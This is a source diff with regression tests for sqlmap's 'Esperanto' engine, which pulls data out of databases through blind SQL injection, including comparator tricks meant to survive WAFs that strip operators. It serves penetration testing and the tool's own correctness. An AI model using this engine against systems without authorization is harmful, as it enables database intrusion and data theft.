if self.maxlen < 1: # capped to nothing: non-empty but unread
return ExtractResult("", complete=False, truncated=True,
queries=self._queries - q0,
warnings=["maxlen<1: value not read"])
hi = 1
while hi < self.maxlen and ge(hi):
hi = min(hi * 2, self.maxlen)
@ -650,14 +773,18 @@ class _Extraction(object):
mid = (lo + hi + 1) // 2
lo, hi = (mid, hi) if ge(mid) else (lo, mid - 1)
length = lo
truncated = length >= self.maxlen and ge(self.maxlen)
# truncated ONLY if a char exists past the cap (ge(maxlen+1)); an exactly-maxlen
# value is COMPLETE - the old `ge(maxlen)` test flagged every capped value truncated
truncated = length >= self.maxlen and ge(self.maxlen + 1)
if limit is not None and limit < length:
truncated, length = True, limit
out = []
for i in range(length):
hit = None
for c in _FREQ_ORDER:
pat, esc = self._likePat(i, c, length - i - 1)
# trailing multi-wildcard when the value continues past `length` (truncated
# prefix), so the pattern matches the longer source instead of demanding exact len
pat, esc = self._likePat(i, c, length - i - 1, trailing_multi=truncated)
if self._likeIs(expr, pat, esc):
hit = c
break
@ -666,8 +793,8 @@ class _Extraction(object):
warns = ["contains unresolved char"] if _REPL in value else []
if p.get("case_insensitive"):
warns.append("LIKE is case-insensitive: letter case may be ambiguous")
return ExtractResult(value, complete=not truncated and not warns, truncated=truncated,
queries=self._queries - q0, warnings=warns)
return ExtractResult(value, complete=not truncated and not _hardWarnings(warns),
truncated=truncated, queries=self._queries - q0, warnings=warns)
@staticmethod
def _decodeHexToken(token, encoding=None):
@ -678,23 +805,24 @@ class _Extraction(object):
except (TypeError, ValueError, binascii.Error, UnicodeError):
return None
if encoding:
return raw.decode(encoding, "replace")
# UTF-16LE (SQL Server nvarchar) is *also* valid UTF-8 when ASCII-ish, so a
# utf-8-first guess silently mis-decodes it; detect the interleaved-null
# signature first
if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(1, len(raw), 2)):
# a PROVEN codec is authoritative: if the bytes don't decode under it, that is a
# FAILURE (return None -> token dropped, result marked incomplete), NOT licence to
# reinterpret them as some other codec (00 D8 is an invalid UTF-16LE lone surrogate,
# but a valid UTF-16BE 'O with stroke' - guessing again would silently corrupt).
try:
return raw.decode("utf-16-le")
except UnicodeDecodeError:
pass
# UTF-16BE (h2/HSQLDB RAWTOHEX) has nulls at EVEN offsets; catch it before the
# utf-8 guess below "succeeds" by reading those nulls as NUL-interleaved text
if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(0, len(raw), 2)):
try:
return raw.decode("utf-16-be")
except UnicodeDecodeError:
pass
for enc in ("utf-8", "utf-16-le", "latin-1"):
return raw.decode(encoding, "strict")
except (UnicodeDecodeError, LookupError):
return None
# UNKNOWN codec + an embedded NUL is genuinely AMBIGUOUS: bytes `41 00` are valid UTF-8
# ("A" + NUL) AND valid UTF-16LE ("A"), and no primitive lied - with no proven codec
# either reading could be right, so neither is exact. Refuse (drop the token -> the caller
# falls back to per-char extraction, which round-trips each char against the source).
if b"\x00" in raw:
return None
# no NUL and no proven codec: a best-effort DISPLAY decode (exactness of any non-ASCII
# result is gated separately - the dump downgrades non-ASCII under an unknown codec, and
# scalar hex recovery refuses to certify unknown-codec non-ASCII bytes).
for enc in ("utf-8", "latin-1"):
try:
return raw.decode(enc)
except (UnicodeDecodeError, ValueError):

80
extra/esperanto/handler.py
View file

@ -9,6 +9,14 @@ from .engine import Esperanto
from .records import OracleUndecided
def _sanitize(s):
"""Escape C0/DEL/C1 control bytes in recovered DB content before it is logged - a stored
value can carry ANSI/OSC sequences that would otherwise drive or forge the sqlmap console."""
if not isinstance(s, type(u"")):
return s
return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s)
def buildHandler():
"""Build the sqlmap dbmsHandler that drives enumeration through this engine when
the back-end cannot be (or should not be) fingerprinted. sqlmap-core imports are
@ -39,6 +47,7 @@ def buildHandler():
Enumeration.__init__(self)
Miscellaneous.__init__(self)
self._esp = None
self._notesLogged = 0 # how many dialect.notes already surfaced (see _flushNotes)
self._identCache = {} # current user/db: fetch (and announce) once
self._colCache = {} # (db, table) -> ordered column names, so a dump
# reuses what --columns already enumerated
@ -71,12 +80,21 @@ def buildHandler():
# primitive) - stop cleanly instead of surfacing an internal traceback
raise SqlmapDataException("Esperanto could not establish a reliable extraction oracle on this target (%s)" % ex)
logger.info("Esperanto dialect verdict: %s" % (esp.identify().get("product") or "unknown"))
esp._progress = lambda value: logger.info("retrieved: %s" % value) # live feedback
for note in esp.dialect.notes: # surface degradations LOUDLY (never silent)
logger.warning("Esperanto: %s" % note)
esp._progress = lambda value: logger.info("retrieved: %s" % _sanitize(value)) # live feedback (sanitized)
self._esp = esp
self._notesLogged = 0
self._flushNotes() # discovery-time notes
return self._esp
def _flushNotes(self):
# surface degradation notes LOUDLY as they accrue. Enumeration/dump append notes
# AFTER discovery, so logging once would hide every runtime degradation (incomplete
# listing, truncation, blocked paging) - flush the NEW ones after each operation.
notes = self._esp.dialect.notes if self._esp else []
for note in notes[self._notesLogged:]:
logger.warning("Esperanto: %s" % note)
self._notesLogged = len(notes)
def _scopeDb(self):
# the database to scope table/column lookups to: -D if given, else the
# current one. WITHOUT this, a same-named table in another schema (e.g.
@ -133,19 +151,30 @@ def buildHandler():
return kb.data.currentDb
def _safeExtract(self, expr):
# current user/db are used as SQL QUALIFIERS + cache keys + scoping decisions, so
# they must be EXACT - a truncated/case-ambiguous value here becomes wrong SQL.
try:
return self._esp.extract(expr)
res = self._esp.extractResult(expr)
except OracleUndecided:
logger.warning("Esperanto could not retrieve %s (oracle undecided)" % expr)
return None
if res.value is not None and not res.exact:
logger.warning("Esperanto: %s not recovered exactly (%s) - not used for scoping" % (expr, res.integrity))
return None
return res.value
def isDba(self, user=None):
kb.data.isDba = False # no privilege claim the oracle cannot prove
# UNKNOWN, not a negative claim: Esperanto has no generic DBA probe, so returning
# False would assert "not a DBA" on no evidence. Report it can't tell and return
# None (unknown) so a transient can't be read as a proven privilege verdict.
logger.warning("Esperanto cannot determine DBA status (no generic privilege probe)")
kb.data.isDba = None
return kb.data.isDba
def getDbs(self):
logger.info("fetching database names")
kb.data.cachedDbs = self._engine().enumerate("database", limit=(conf.limitStop or 50)) or []
self._flushNotes()
return kb.data.cachedDbs
def getTables(self, bruteForce=None):
@ -165,6 +194,7 @@ def buildHandler():
infoMsg += " for database '%s'" % db
logger.info(infoMsg)
kb.data.cachedTables = {db or "<current>": names}
self._flushNotes()
return kb.data.cachedTables
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
@ -179,15 +209,22 @@ def buildHandler():
names = self._engine().columns(conf.tbl, schema=db) or []
self._colCache[(db, conf.tbl)] = names # let a following dump reuse these
kb.data.cachedColumns = {db or "<current>": {conf.tbl: dict((n, None) for n in names)}}
self._flushNotes()
return kb.data.cachedColumns
def getSchema(self):
esp = self._engine()
db = self._scopeDb()
# use the EFFECTIVE db that getTables() actually resolved (it may have broadened to
# 'public' when the current schema was empty) - recomputing _db() here would miss
# that and look columns up in the wrong (empty) schema.
tabmap = self.getTables()
effdb, tables = next(iter(tabmap.items()), ("<current>", []))
colscope = self._scopeDb() if effdb == "<current>" else effdb
schema = {}
for table in (self.getTables().get(self._db()) or []):
schema[table] = dict((n, None) for n in (esp.columns(table, schema=db) or []))
kb.data.cachedColumns = {self._db(): schema}
for table in (tables or []):
schema[table] = dict((n, None) for n in (esp.columns(table, schema=colscope) or []))
kb.data.cachedColumns = {effdb: schema}
self._flushNotes()
return kb.data.cachedColumns
def dumpTable(self, foundData=None):
@ -205,7 +242,26 @@ def buildHandler():
if db:
infoMsg += " in database '%s'" % db
logger.info(infoMsg)
result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=(conf.limitStop or 10))
# sqlmap row-SELECTORS change WHICH rows come back, so REFUSE (don't silently return
# different data): --where filters, --start offsets. --stop is honored as a row cap.
if getattr(conf, "dumpWhere", None):
logger.error("Esperanto cannot honor --where; refusing rather than returning unfiltered rows")
return
if getattr(conf, "limitStart", None):
logger.error("Esperanto cannot honor --start; refusing rather than returning the wrong row range")
return
# the SAME qualified reference for count and dump, so a non-default schema can't make
# the count hit a different (unqualified) table than the dump (#8).
qtable = self._engine().qualify(conf.tbl, db)
if conf.limitStop:
limit = conf.limitStop
else:
try:
limit = self._engine().extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) or 10
except (OracleUndecided, OverflowError):
limit = 1 << 30 # unknown count -> effectively "all" (keyset stops at end)
logger.info("no --stop given; dumping all %s rows" % (limit if limit < (1 << 30) else "(count unknown)"))
result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=limit)
if not result or not result["columns"]:
logger.error("Esperanto could not dump table '%s'" % conf.tbl)
return
@ -217,7 +273,11 @@ def buildHandler():
table_data["__infos__"] = {"count": len(result["rows"]), "table": conf.tbl, "db": self._db()}
if not result["complete"]:
logger.warning("Esperanto dump of '%s' may be incomplete" % conf.tbl)
if not result.get("exact", True): # coverage may be complete yet content inexact
logger.warning("Esperanto dump of '%s': values recovered via a collation-dependent "
"comparison - case/accents may not be byte-exact" % conf.tbl)
kb.data.dumpedTable = table_data
self._flushNotes()
conf.dumper.dbTableValues(kb.data.dumpedTable)
return _EsperantoHandler()

23
extra/esperanto/oracle.py
View file

@ -29,12 +29,25 @@ class _OracleCore(object):
self._probing = prev
def _emit(self, value):
if self._progress and value not in (None, ""):
# per-VALUE feedback is for user-requested data reads only, NOT capability/discovery probes
# (charset, lazy hexfn, cast canary - all wrapped in _probePhase): surfacing an internal
# probe value as "retrieved: <x>" reads as a stray, out-of-context line to the user.
if self._progress and value not in (None, "") and not self._probing:
try:
self._progress(value)
except Exception:
pass
def _emitChar(self, partial, total):
# live per-character feedback DURING a long extraction, so the user sees movement
# instead of a frozen prompt (a whole framed row is one long silent read otherwise) -
# suppressed during probe phases (see _emit) so a discovery probe doesn't animate
if self._charProgress and not self._probing:
try:
self._charProgress(partial, total)
except Exception:
pass
def _probe(self, condition):
# ONE tri-state evaluation: True / False / None(persistent error). a raised
# oracle is retried (transient) before being reported as an error - a
@ -109,11 +122,15 @@ class _OracleCore(object):
return self._ask("1=1") and not self._ask("1=2") and \
self._ask("'a'='a'") and not self._ask("'a'='b'")
def _exists(self, source, column="1"):
def _exists(self, source, column="1", alias=None):
# does `source` (a table/catalog) - and optionally `column` in it - resolve?
# WITHOUT COUNT (which a WAF may filter): a scalar subquery over it is NULL when
# it resolves (WHERE 1=0 -> 0 rows) and ERRORS -> False when it doesn't. Works
# for empty tables too. `column` is passed BARE so a nonexistent one errors,
# rather than being taken as a string literal (SQLite quirk) and passing every
# fake name.
# fake name. When `alias` is set the column is ALIAS-QUALIFIED (`e.col`) so a bare
# candidate can't silently resolve to a KEYWORD/FUNCTION (USER, CURRENT_USER, ...)
# or an unrelated in-scope name - an alias-qualified unknown is always an error.
if alias:
return self._ask("(SELECT %s.%s FROM %s %s WHERE 1=0) IS NULL" % (alias, column, source, alias))
return self._ask("(SELECT %s FROM %s WHERE 1=0) IS NULL" % (column, source))

109
extra/esperanto/records.py
View file

@ -13,6 +13,13 @@ class OracleUndecided(RuntimeError):
oracle itself; exceptions are reserved for 'could not observe'.)"""
class NumericOutOfRange(OverflowError):
"""A bounded numeric read proved the value lies OUTSIDE [lo, hi] (above or below).
Raised so a bounded search never invents an in-range boundary value (saturating to
`hi`, or - for BETWEEN - converging to a wrong small value). Callers decide: length
measurement converts it to (ceiling, truncated=True); integer extraction re-raises."""
class Cap(object):
"""A discovered primitive: (name, template) PLUS measured semantic properties.
Indexable like the old (name, template) tuple so existing call sites keep working
@ -34,6 +41,24 @@ class Cap(object):
return "%s(%s)" % (self.name, extra.strip() or self.template)
class Integrity(object):
"""How much the engine PROVED about a recovered value - separating 'the walk finished'
from 'the bytes are exactly the source'. `complete` alone conflated the two; a value can
be WHOLE (every position visited) yet not EXACT (case/accent ambiguous under a lossy
collation). Anything used as executable SQL metadata or a paging boundary requires EXACT."""
EXACT = "exact" # proven byte-identical to the source value (or a proven NULL)
WHOLE_BUT_AMBIGUOUS = "ambiguous" # every position visited, but case/accent is uncertain
TRUNCATED = "truncated" # a bounded prefix; the source continues
UNRESOLVED = "unresolved" # a character could not be recovered (U+FFFD present)
FAILED = "failed" # could not observe / verify (e.g. whole-value check failed)
# warnings that leave a value WHOLE but not EXACT (case/accent uncertain) - distinct from the
# "recovered via hex" soft note (that value IS exact) and from hard integrity warnings.
_AMBIGUOUS_WARNINGS = ("case", "collation")
_U_REPL = u"\uFFFD"
class ExtractResult(object):
"""Structured extraction outcome - keeps NULL, empty, truncated and failed
distinct (str-like so `str(r)`/truthiness still read naturally)."""
@ -47,6 +72,29 @@ class ExtractResult(object):
self.queries = queries
self.warnings = warnings or []
@property
def integrity(self):
# classify what was PROVED (see Integrity). Order matters: a HARD defect (truncated /
# unresolved / incomplete) is classified BEFORE null-exactness, so an inconsistent
# (value=None, is_null=True, complete=False) can never read as EXACT.
if self.truncated:
return Integrity.TRUNCATED
if self.value is not None and _U_REPL in self.value:
return Integrity.UNRESOLVED
if not self.complete: # a hard warning / failed verify -> not exact
return Integrity.FAILED
if self.value is None:
return Integrity.EXACT if self.is_null else Integrity.FAILED
if any(a in w for w in self.warnings for a in _AMBIGUOUS_WARNINGS):
return Integrity.WHOLE_BUT_AMBIGUOUS
return Integrity.EXACT
@property
def exact(self):
# True ONLY when the recovered bytes are proven identical to the source. Required for
# any value that becomes executable SQL (identifier, qualifier, exact literal).
return self.integrity == Integrity.EXACT
def __str__(self):
return "" if self.value is None else self.value
@ -56,8 +104,8 @@ class ExtractResult(object):
__nonzero__ = __bool__ # py2
def __repr__(self):
return ("ExtractResult(value=%r null=%s complete=%s truncated=%s q=%d%s)"
% (self.value, self.is_null, self.complete, self.truncated, self.queries,
return ("ExtractResult(value=%r null=%s integrity=%s truncated=%s q=%d%s)"
% (self.value, self.is_null, self.integrity, self.truncated, self.queries,
" warnings=%r" % self.warnings if self.warnings else ""))
@ -88,7 +136,7 @@ class Dialect(object):
"""Discovered target profile - the synthesized 'queries.xml row'."""
__slots__ = ("concat", "substring", "length", "bytelen", "textcast",
"coalesce", "charcode", "charfrom", "hexfn", "binwrap",
"coalesce", "charcode", "charfrom", "hexfn", "binwrap", "charset",
"bulkAgg", "dual", "identQuote", "prefix", "compare", "ordered",
"identity", "catalog", "catalogEnum", "family", "product",
"version", "evidence", "notes")
@ -106,6 +154,7 @@ class Dialect(object):
self.charfrom = None
self.hexfn = None # (name, template) for hex/byte extraction
self.binwrap = None # (name, template) byte-ordered comparison wrapper
self.charset = None # Python codec for the DB's DECLARED charset (authoritative hex decode)
self.bulkAgg = None # (name, template) row-aggregation for bulk enum
self.dual = None # (name, from-suffix) tableless-SELECT skeleton
self.compare = None # 'code' | 'collation' | 'hex' | 'ordinal' | 'equality' | 'equality-ci'
@ -138,14 +187,24 @@ class InferenceStrategy(object):
methods. No oracle here, no retrieval loop - just SQL construction from the
discovered primitives. Frozen after construction so worker threads can share it.
The reference host loop `hostExtract()` below proves this interface is
*sufficient*: it extracts data using ONLY a strategy + an oracle, with no
dependency on Esperanto's own retrieval code.
The reference host loop `hostExtract()` below drives extraction using ONLY a
strategy + an oracle, with no dependency on Esperanto's own retrieval code.
SCOPE (honest): this is a PARTIAL hand-off, not yet a full sufficiency proof.
`hostExtract()` drives the code/collation/ordinal/equality char modes under an
ordered comparator (gt / BETWEEN / operator-free), with length-fn OR substring-
derived length, tri-state and integrity-carrying. It does NOT yet drive pattern-only
(LIKE floor) or membership-only extraction, and the frozen field set does not yet
carry every discovered semantic (hex-encoding confidence, IN support, wildcard
semantics, substring/length units, cast bounds). Those modes/semantics must be added
- or the claim narrowed - before this can be called a complete interface; the
long-term direction is predicate renderers driven by sqlmap's own inference engine.
"""
_FIELDS = ("product", "family", "compare_mode", "catalog", "dual", "notes",
"substring", "index_base", "length", "charcode", "charcode_sem",
"hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash")
"hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash",
"comparator", "cmp_template", "exact_witness")
def __init__(self, **kw):
for f in self._FIELDS:
@ -166,6 +225,12 @@ class InferenceStrategy(object):
def renderIsNull(self, expr):
return "(%s) IS NULL" % expr
def renderCharExists(self, expr, pos):
# a character exists at 1-based pos: its 1-char substring is non-empty. Uses '='
# only (no '>'/'<'), and reads False for a past-end substring whether the engine
# returns '' or NULL there - so length can be derived when there is no length fn.
return "NOT ((%s)='')" % self.substr(expr, pos)
def renderHex(self, expr):
return self.hexfn.format(expr=expr) if self.hexfn else None
@ -173,6 +238,16 @@ class InferenceStrategy(object):
# scalar code point of the char at pos (None unless a code fn was found)
return self.charcode.format(expr=self.substr(expr, pos)) if self.charcode else None
def renderGt(self, expr, n, high=None):
# "expr > n" via the DISCOVERED comparator, so a host driving this strategy
# survives a WAF that strips '>'/'<' exactly as esperanto's own loop does.
# BETWEEN needs the current upper bound; operator-free rungs (sign/abs/...) don't.
if self.comparator == "between" and high is not None:
return "%s BETWEEN %d AND %d" % (expr, n + 1, high)
if self.cmp_template:
return self.cmp_template.format(expr=expr, n=n)
return "%s>%d" % (expr, n)
def renderCharCmp(self, expr, pos, ch, op=">"):
# boolean: char at pos <op> literal ch, byte-ordered when a binary wrapper
# is available (else the target's own collation)
@ -211,12 +286,26 @@ class InferenceStrategy(object):
def asQueriesRow(self):
"""The sqlmap queries.xml-shaped mapping - the concrete integration hook.
These four templates are what sqlmap's inference/error/union machinery reads
from queries[Backend.getIdentifiedDbms()]."""
from queries[Backend.getIdentifiedDbms()]. The `inference` template renders the
char-code comparison through the DISCOVERED comparator, so a strategy that survives
a '>'-stripping WAF natively is NOT turned back into a blocked '>' here. Membership
mode has no ordered `>%d` form, so `inference` is None (that mode needs the predicate
interface, not this 4-field row)."""
inference = None
if self.charcode:
code = self.charcode.format(expr=self.substr("%s", "%d"))
if self.comparator == "membership":
inference = None
elif self.cmp_template: # operator-free rung (SIGN/ABS/...)
inference = self.cmp_template.replace("{expr}", code).replace("{n}", "%d")
elif self.comparator == "between":
inference = "%s BETWEEN (%%d)+1 AND 9223372036854775807" % code
else: # gt
inference = "%s>%%d" % code
return {
"length": self.length,
"substring": self.substring,
"inference": ("%s>%%d" % self.charcode.format(expr=self.substr("%s", "%d")))
if self.charcode else None,
"inference": inference,
"case": "SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)" + self.dual,
"hex": self.hexfn,
}

2
lib/core/settings.py
View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.172"
VERSION = "1.10.7.173"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

430
tests/test_esperanto.py
View file

@ -25,6 +25,7 @@ Regression suite for the DBMS-agnostic engine (extra/esperanto/), in two parts:
stdlib unittest only; Python 2.7 and 3.x.
"""
import binascii
import os
import re
import sqlite3
@ -36,6 +37,7 @@ sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from extra.esperanto import Cap
from extra.esperanto import Esperanto
from extra.esperanto import hostExtract
from extra.esperanto import Integrity
EXPR = "(SELECT v FROM t)"
@ -191,6 +193,430 @@ class TestEsperanto(unittest.TestCase):
esp.discover()
self.assertEqual(esp.extractInteger("(%d)" % n), n, "extractInteger(%d)" % n)
def test_between_no_saturation(self):
# #1: BETWEEN caps range probes at the ceiling, so an out-of-range value must be
# flagged (truncated length / OverflowError), NEVER converge to a wrong SMALL value
# (the old bug read a len-16 value as length 1 and an int 100/max-10 as 0).
esp = Esperanto(_oracle(u"0123456789ABCDEF"), maxlen=8) # true length 16 > ceiling 8
esp.discover()
esp._comparator = "between"
n, trunc = esp._measureLength(EXPR, ceiling=8)
self.assertTrue(trunc and n == 8, "between over-length saturated wrong: (%r,%r)" % (n, trunc))
esp2 = Esperanto(_oracle())
esp2.discover()
esp2._comparator = "between"
self.assertEqual(esp2.extractInteger("(100)", maximum=1000), 100)
self.assertRaises(OverflowError, esp2.extractInteger, "(100)", 10)
def test_framing_requires_terminal_marker(self):
# a length-framed token MUST carry its terminal ';' - a truncated final token (no ';')
# must be rejected, not accepted as valid
esp = Esperanto(lambda c: False)
esp._rowLenFramed = True
self.assertEqual(esp._splitRow("V3:414243", 1), (None, False)) # no terminator -> invalid
self.assertEqual(esp._splitRow("V3:414243;", 1), (["ABC"], True)) # terminated -> valid
self.assertEqual(esp._splitRow("V4:414243;", 1), (None, False)) # declared 4 != decoded 3
def test_host_native_integrity_parity(self):
# hostExtract must mirror the native EXACT/AMBIGUOUS verdict: in a mode with no byte-exact
# witness (ordinal), both must be WHOLE_BUT_AMBIGUOUS, not native-ambiguous/host-exact.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('Admin-42')")
con.commit()
blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|COLLATE|BLOB|BINARY")
def ask(cond):
if blk.search(cond):
return False
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
if esp._byteFaithful():
self.skipTest("dialect still byte-faithful")
native = esp.extractResult("(SELECT v FROM t)")
host = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)")
self.assertEqual(host.value, native.value)
self.assertFalse(host.exact, "host claimed exact without a witness: %r" % host)
self.assertEqual(host.integrity, native.integrity)
def test_framing_length_witness_catches_capped_hex(self):
# a HEX fn that silently caps its output (correct up to a point, then truncates) would
# shorten a framed cell. The independent <charlen> witness in the row token (V<len>:<hex>;)
# must reject the shortened token -> fall back to cell-by-cell (which reads the true
# length via substring), so a 400-char value is recovered whole, not silently as 300.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT)")
big = "A" * 400
con.execute("INSERT INTO t VALUES (1, ?)", (big,))
con.commit()
con.create_function("CHEX", 1, lambda s: binascii.hexlify((s or "").encode("utf-8")[:300]).decode().upper())
def ask(cond):
c = re.sub(r"UPPER\(HEX\(([^()]*)\)\)", r"CHEX(\1)", cond) # HEX -> a 300-byte-capped hex
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=8192)
esp.discover()
d = esp.dump("t")
val = d["rows"][0][1] if d and d["rows"] else None
self.assertTrue((val == big and d["complete"]) or (d and not d["complete"]),
"capped hex slipped through: %r len=%s" % ((val or "")[:8], len(val) if val else None))
def test_integer_final_equality(self):
# comparator proven on literals, but the backend rewrites '>' to '>=' for scalar/fn
# operands -> bisection converges off-by-one. The final `expr = recovered` check must
# reject it (fail closed) rather than return a silently-wrong integer.
con = sqlite3.connect(":memory:")
def ask(cond):
c = cond
if re.search(r"(SELECT|LENGTH|UNICODE|SUBSTR|\+)", c, re.I):
c = c.replace(">", ">=")
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask)
esp.discover()
self.assertRaises(Exception, esp.extractInteger, "(SELECT 5)", 10) # OracleUndecided (fail closed)
def test_charset_codec_quirks(self):
from extra.esperanto.atlas import _charsetCodec
self.assertEqual(_charsetCodec("latin1"), "cp1252") # MySQL 'latin1' is Windows-1252
self.assertEqual(_charsetCodec("utf8mb4"), "utf-8")
self.assertEqual(_charsetCodec("utf8mb4_general_ci"), "utf-8") # collation suffix peeled
self.assertEqual(_charsetCodec("WE8MSWIN1252"), "cp1252") # Oracle
self.assertEqual(_charsetCodec("1252"), "cp1252") # SQL Server code page
self.assertEqual(_charsetCodec("AL32UTF8"), "utf-8")
self.assertIsNone(_charsetCodec("some_unknown_set"))
def test_host_length_code_final_equality(self):
# Round 8 #1: hostExtract must apply the native reader's final-equality to the recovered
# LENGTH and each per-char CODE - a backend that rewrites '>' to '>=' for computed operands
# (LENGTH(..)>n, UNICODE(..)>n) converges off-by-one; the '=' confirmation must fail closed
# rather than hand back silently-wrong code-point text as exact.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('Admin-42')")
con.commit()
def ask(cond):
c = cond
if re.search(r"(LENGTH|UNICODE|SUBSTR)\(", c, re.I): # '>' rewritten for computed operands
c = c.replace(">", ">=")
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
if esp.dialect.compare != "code":
self.skipTest("dialect not in code mode")
host = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)")
# the invariant: anything claimed EXACT must be CORRECT. An off-by-one read is caught by
# the final equality and must surface as non-exact/failed, never as a wrong exact value.
self.assertTrue(host.value == "Admin-42" or not host.exact,
"host handed back a wrong value as exact: %r" % host)
def test_hex_unknown_codec_non_ascii_not_exact(self):
# Round 8 #2: scalar hex recovery under an UNKNOWN codec must not certify non-ASCII text
# (e.g. utf-8 bytes with an embedded NUL heuristically read as UTF-16). Bytes are faithful;
# only a PROVEN codec makes the decoded text exact.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES (?)", (u"é",)) # utf-8 C3 A9 -> non-ASCII bytes
con.execute("CREATE TABLE a (v TEXT)")
con.execute("INSERT INTO a VALUES ('plain')")
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
if not esp._ensureHexfn():
self.skipTest("no hex fn")
esp.dialect.charset = None # force UNKNOWN codec
hx = esp.dialect.hexfn
esp.dialect.hexfn = Cap(hx.name, hx[1], encoding=None)
self.assertIsNone(esp._extractViaHex("(SELECT v FROM t)"), # non-ASCII + unknown codec -> refuse
"unknown-codec non-ASCII hex certified as exact")
ascii_r = esp._extractViaHex("(SELECT v FROM a)") # ASCII is codec-invariant -> still OK
self.assertTrue(ascii_r is None or ascii_r.value == "plain")
def test_bytelen_witness_fails_closed(self):
# Round 8 #5: once a byte-length witness is selected, an UNDECIDED reading must reject the
# bytes (fail closed), never treat "couldn't verify" as "matched".
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute("INSERT INTO t VALUES ('abc')")
con.commit()
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
if not esp._ensureHexfn():
self.skipTest("no hex fn")
esp.dialect.bytelen = Cap("blen", "OCTET_NOSUCH({expr})") # a byte-length fn that never resolves
self.assertIsNone(esp.extractBytes("(SELECT v FROM t)"),
"undecided byte-length witness slipped through")
def test_unknown_codec_nul_not_shortened(self):
# Round 8 (final) blocker #1: unknown codec + embedded NUL is genuinely ambiguous - bytes
# 41 00 are valid UTF-8 ("A"+NUL) AND valid UTF-16LE ("A"). _decodeHexToken must refuse
# rather than collapse to a shortened ASCII "A" that then reads as exact. The framed dump
# calls _decodeHexToken directly, so the guard has to live there (not just _extractViaHex).
esp = Esperanto(lambda c: False)
self.assertIsNone(esp._decodeHexToken("4100", None)) # ambiguous -> refuse
self.assertEqual(esp._decodeHexToken("4100", "utf-8"), u"A\x00") # proven codec keeps NUL
self.assertEqual(esp._decodeHexToken("41", None), u"A") # pure ASCII still fine
def test_lossy_cast_marked_inexact(self):
# Round 8 (final) blocker #2: a text cast that FOLDS non-ASCII to "?" (café -> caf?) yields
# an ASCII-only result, so gating the cast-safety canary on _hasNonAscii(rows) meant it
# never ran on the very failure it defends against. The canary must run whenever a textcast
# was applied, and an unproven cast must not certify source identity.
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT)")
con.execute(u"INSERT INTO t VALUES (1, 'café')")
con.commit()
con.create_function("LOSSY", 1, lambda s: "".join(c if ord(c) < 128 else "?" for c in (s or "")))
def ask(cond):
try:
return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1
except sqlite3.DatabaseError:
return False
esp = Esperanto(ask, maxlen=64)
esp.discover()
esp.dialect.charset = None # unknown -> exercise the canary path
esp.dialect.textcast = Cap("lossy", "LOSSY({expr})") # a narrowing/folding cast
esp._castPreserves = None
self.assertFalse(esp._castPreservesAccents(), "folding cast wrongly certified as preserving")
d = esp.dump("t")
self.assertTrue(d and d["rows"], "dump returned nothing")
self.assertFalse(d["exact"], "folded (café->caf?) dump reported source-exact: %r" % d["rows"])
def test_repl_chars_escalate_to_hex(self):
# a code fn lossy for a column type (Oracle NVARCHAR2 read in code mode marks non-ASCII
# chars outside its alphabet -> _REPL). Rather than return the marked-incomplete value,
# the engine must escalate to the cast+hex path (which the framed dump proves works) and
# recover the value exactly. Without hex, it stays honestly incomplete (no false-complete).
con = sqlite3.connect(":memory:")
con.execute("CREATE TABLE t (v TEXT)")
con.execute(u"INSERT INTO t VALUES ('café-€')")
con.commit()
